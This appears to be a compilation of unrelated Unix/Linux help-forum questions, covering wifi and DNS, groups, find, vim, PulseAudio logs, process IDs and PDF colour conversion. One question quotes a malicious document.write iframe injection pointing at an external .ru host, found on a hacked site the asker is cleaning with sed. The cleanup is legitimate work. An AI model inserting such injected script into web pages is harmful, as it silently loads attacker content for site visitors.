I recently installed Arch, wifi has been messing around. Dropping and generally not connecting. I fixed it by ruling it was DHCP not getting a lease in time, I assigned a static IP and all is good. But for some reason every now and again I can't visit certain sites and domains(.net,.com) etc... If I use netctl to stop the profile then set my interface to down then restart prfile it works for a while again. I have no idea where to look for this. My /etc/resolv.conf has 4 nameservers (googles, and open dns) so they're good. Any idea where to look next?


delete user from group in fedora from command line

I have been using ubuntu extensively and use the following from the command line:               deluser <username> <groupname>      It doesn't seem to work in fedora. Is there an equivalent?


bash - can I do : find .... -exec this && that?

Is there a way to logically combine two shell commands that are invoked with **find - exec**? For instance to print out all the **.csv** files that contain the string foo together with its occurrence I would like to do:               find . -iname \*.csv -exec grep foo {} && echo {} \;      but **bash** complains with "missing argument to '-exec' "


Sed find/delete for a string with multiple special characters recursively

I'm having quite a bit of difficulty with a complex string. A friend's site was hacked and has since been locked down but I'm helping to clean up the mess leftover and what I need to do is the following: Go recursively into every directory and if there is the following string at the end of the file, delete the string.               ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');      As you can see the string contains single and double quotes, and multiple other special characters. I've tried putting an \ escape before every single special character but that doesn't seem to work. I tried this:               grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"      but I get the following error:               sed: -e expression #1, char 201: unterminated `s' command


Typical use case for a group password

I checked more than half a century worth Unix experience and neither my colleagues, nor myself has ever set a password on a group (`sg` and `gpasswd`). What would be a typical use case for a group password or is it pretty much only there because of historic reasons?


How to stop cursor from blinking

How do I make the cursor stop `blinking` when in a **TTY**? (or anywhere else). **BONUS Points** for one universal setting that stops the cursor blinking almost everywhere.


version control for /etc under *BSD

What turnkey solutions exist to put `/etc` under version control, under various unices? Turnkey doesn't necessarily mean part of the base install, but the following features would be nice:   * hooks into VCS commands to manage metadata (ownership, permissions);   * integration with the package manager (run automatically before and after installations, handle upgrades intelligently);   * treat upstream file versions as a branch;   * a pre-filled ignore list;   * support for several underlying VCS (especially distributed ones). I use etckeeper under Debian and derivatives. It has all the above features except that it doesn't keep track of upstream versions. I would like to learn about alternatives, particularly on *BSD.


Can't uninstall vim

I've got a problem with vim deinstallation. I've done `sudo apt-get remove` on vim, vim-common, vim-tiny and actually anything starting with 'vim' in the package list, but still can run vim from command line. It doesn't show up in packages list but still works. I can't understand how it is even possible... How can I remove it completely?


Sound Problems with pulseaudio

The overall question that my whole problem is kind of based on is regarding sound in linux. Should I be using alsa or pulse or what? I'm using pulse at the moment and this is my problem: I was in the midst of configuring awesome and playing some music at same time when I restarted awesome and found sound no long functioned. After debugging and frustration I restarted and sound still doesn't work. When run in super verbose mode pulseaudio gives much output (see bottom of post) but I think the key line is this:               D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-udev-detect.so': success     D: module-udev-detect.c: /dev/snd/controlC0 is accessible: no     D: module-udev-detect.c: /dev/snd/controlC29 is accessible: no      Any guesses? * * * Full log:               rob@lennyubuntu:~$ pulseaudio -vvvv     I: main.c: setrlimit(RLIMIT_NICE, (31, 31)) failed: Operation not permitted     I: main.c: setrlimit(RLIMIT_RTPRIO, (9, 9)) failed: Operation not permitted     D: core-rtclock.c: Timer slack is set to 50 us.     D: core-util.c: RealtimeKit worked.     I: core-util.c: Successfully gained nice level -11.     I: main.c: This is PulseAudio 0.9.21-63-gd3efa-dirty     D: main.c: Compilation host: i486-pc-linux-gnu     D: main.c: Compilation CFLAGS: -g -O2 -g -Wall -O3 -Wall -W -Wextra -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-declarations -Wmissing-noreturn -Wshadow -Wendif-labels -Wcast-align -Wstrict-aliasing=2 -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option     D: main.c: Running on host: Linux i686 2.6.32-24-generic-pae #42-Ubuntu SMP Fri Aug 20 15:37:22 UTC 2010     D: main.c: Found 2 CPUs.     I: main.c: Page size is 4096 bytes     D: main.c: Compiled with Valgrind support: no     D: main.c: Running in valgrind mode: no     D: main.c: Running in VM: no     D: main.c: Optimized build: yes     D: main.c: All asserts enabled.     I: main.c: Machine ID is 37b1a2935e121fd776c640534c92c393.     I: main.c: Session ID is 37b1a2935e121fd776c640534c92c393-1284741785.538707-879649589.     I: main.c: Using runtime directory /home/rob/.pulse/37b1a2935e121fd776c640534c92c393-runtime.     I: main.c: Using state directory /home/rob/.pulse.     I: main.c: Using modules directory /usr/lib/pulse-0.9.21/modules.     I: main.c: Running in system mode: no     I: main.c: Fresh high-resolution timers available! Bon appetit!     I: cpu-x86.c: CPU flags: CMOV MMX SSE SSE2 SSE3 SSSE3 SSE4_1      I: svolume_mmx.c: Initialising MMX optimized functions.     I: remap_mmx.c: Initialising MMX optimized remappers.     I: svolume_sse.c: Initialising SSE2 optimized functions.     I: remap_sse.c: Initialising SSE2 optimized remappers.     I: sconv_sse.c: Initialising SSE2 optimized conversions.     D: memblock.c: Using shared memory pool with 1024 slots of size 64.0 KiB each, total size is 64.0 MiB, maximum usable slot size is 65496     D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-device-volumes.tdb'     I: module-device-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-device-volumes'.     I: module.c: Loaded "module-device-restore" (index: #0; argument: "").     D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-stream-volumes.tdb'     I: module-stream-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-stream-volumes'.     I: module.c: Loaded "module-stream-restore" (index: #1; argument: "").     D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-card-database.tdb'     I: module-card-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-card-database'.     I: module.c: Loaded "module-card-restore" (index: #2; argument: "").     I: module.c: Loaded "module-augment-properties" (index: #3; argument: "").     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-udev-detect.so': success     D: module-udev-detect.c: /dev/snd/controlC0 is accessible: no     D: module-udev-detect.c: /dev/snd/controlC29 is accessible: no     I: module-udev-detect.c: Found 2 cards.     I: module.c: Loaded "module-udev-detect" (index: #4; argument: "").     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-bluetooth-discover.so': failure     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-esound-protocol-unix.so': success     I: module.c: Loaded "module-esound-protocol-unix" (index: #5; argument: "").     I: module.c: Loaded "module-native-protocol-unix" (index: #6; argument: "").     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-gconf.so': failure     I: module-default-device-restore.c: Saved default sink 'auto_null' not existant, not restoring default sink setting.     I: module-default-device-restore.c: Saved default source 'auto_null.monitor' not existant, not restoring default source setting.     I: module.c: Loaded "module-default-device-restore" (index: #7; argument: "").     I: module.c: Loaded "module-rescue-streams" (index: #8; argument: "").     D: module-always-sink.c: Autoloading null-sink as no other sinks detected.     I: sink.c: Created sink 0 "auto_null" with sample spec s16le 2ch 44100Hz and channel map front-left,front-right     I: sink.c:     device.description = "Dummy Output"     I: sink.c:     device.class = "abstract"     I: sink.c:     device.icon_name = "audio-card"     D: core-subscribe.c: Dropped redundant event due to change event.     I: source.c: Created source 0 "auto_null.monitor" with sample spec s16le 2ch 44100Hz and channel map front-left,front-right     I: source.c:     device.description = "Monitor of Dummy Output"     I: source.c:     device.class = "monitor"     I: source.c:     device.icon_name = "audio-input-microphone"     D: module-null-sink.c: Thread starting up     I: module.c: Loaded "module-null-sink" (index: #9; argument: "sink_name=auto_null sink_properties='device.description="Dummy Output"'").     I: module.c: Loaded "module-always-sink" (index: #10; argument: "").     I: module.c: Loaded "module-intended-roles" (index: #11; argument: "").     D: module-suspend-on-idle.c: Sink auto_null becomes idle, timeout in 5 seconds.     I: module.c: Loaded "module-suspend-on-idle" (index: #12; argument: "").     D: dbus-util.c: Successfully connected to D-Bus system bus 37167102d347eef17e1632d54c939a90 as :1.19     I: client.c: Created 0 "ConsoleKit Session /org/freedesktop/ConsoleKit/Session1"     D: module-console-kit.c: Added new session /org/freedesktop/ConsoleKit/Session1     I: module.c: Loaded "module-console-kit" (index: #13; argument: "").     I: module.c: Loaded "module-position-event-sounds" (index: #14; argument: "").     D: dbus-util.c: Successfully connected to D-Bus session bus 72094675a23ec627dd2a6a7b4c939a9c as :1.8     D: main.c: Got org.pulseaudio.Server!     I: main.c: Daemon startup complete.     D: module-console-kit.c: dbus: interface=org.freedesktop.DBus, path=/org/freedesktop/DBus, member=NameAcquired


File delete versus overwrite and link at /proc/pid/fd

It is well known that UNIX systems won't actually delete a file on disk while the file is in use. So if a file is being accessed by process 1 and process 2 deletes the file using rm, process 1 continues to see the file; additionally the file descriptor link at /proc/(process 1 id)/fd reports the original contents of the deleted file. However, if process 2 overwrites the file as opposed to deleting it (say with echo "abracadabra" > file.txt), the file descriptor link at /proc/(process 1 id)/fd reports the overwriting material("abracadabra"), while process 1 is still able to access the original contents of the file. Why this difference? [Edit]The snippet below is in response to Jim Paris               >uname -a     Linux ravoori-netbook 3.2.0-32-generic-pae #51-Ubuntu SMP Wed Sep 26 21:54:23 UT     C 2012 i686 i686 i386 GNU/Linux     >echo original > /tmp/foo     >tail -0f /tmp/foo &     [2] 6144     >rm /tmp/foo     >cat /proc/6144/fd/3     original     >echo abracadabra > /tmp/foo     >cat /proc/6144/fd/3     original


Why do top and ps show different PIDs for the same processes?

When I run `top -H`, I see that my multiple `mysql` threads all have the same PID. However, in `ps -eLf` I see each one has a different PID: `ps -eLf`               UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD     mysql     1424     1  1424  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1481  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1482  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1483  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1484  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1485  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1486  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1487  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1488  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1489  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1490  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1791  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1792  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1793  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1794  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1809  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1812  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld      and in `top -H`               PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND      1424 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.08 mysqld                                                                        1481 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1482 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.33 mysqld                                                                        1483 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1484 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.23 mysqld                                                                        1485 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.27 mysqld                                                                        1486 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.15 mysqld                                                                        1487 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.18 mysqld                                                                        1488 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1489 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1490 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.34 mysqld                                                                        1791 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.26 mysqld                                                                        1792 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.54 mysqld                                                                        1793 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.00 mysqld                                                                        1794 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.00 mysqld                                                                        1809 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.00 mysqld                                                                        1812 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.13 mysqld      What is going on and which one should I believe?


How to run a command in the background with a delay?

Can somebody show me how to make a program to do this action: after 5 minutes               echo "80" > /sys/class/leds/blue/brightness      I want this program run in the background (like `rngd` service) I can't do this because I don't know so much about Linux.


Convert PDF from sRGB color space to CMYK

Does anyone know how I can convert a PDF (or EPS) file from sRGB color space to CMYK color space? My workflow is currently the following:   * Draw an image with Powerpoint   * Print via postscript printer into a .prn postscript file   * Execute a bash script that uses ps2eps, ps2pdf, and pdftk in order to generate a cropped PDF image Unfortunately, this produces an sRGB PDF only. Instead, I need a CMYK PDF and I don't have an idea how I may get this. Any help on this is highly appreciated.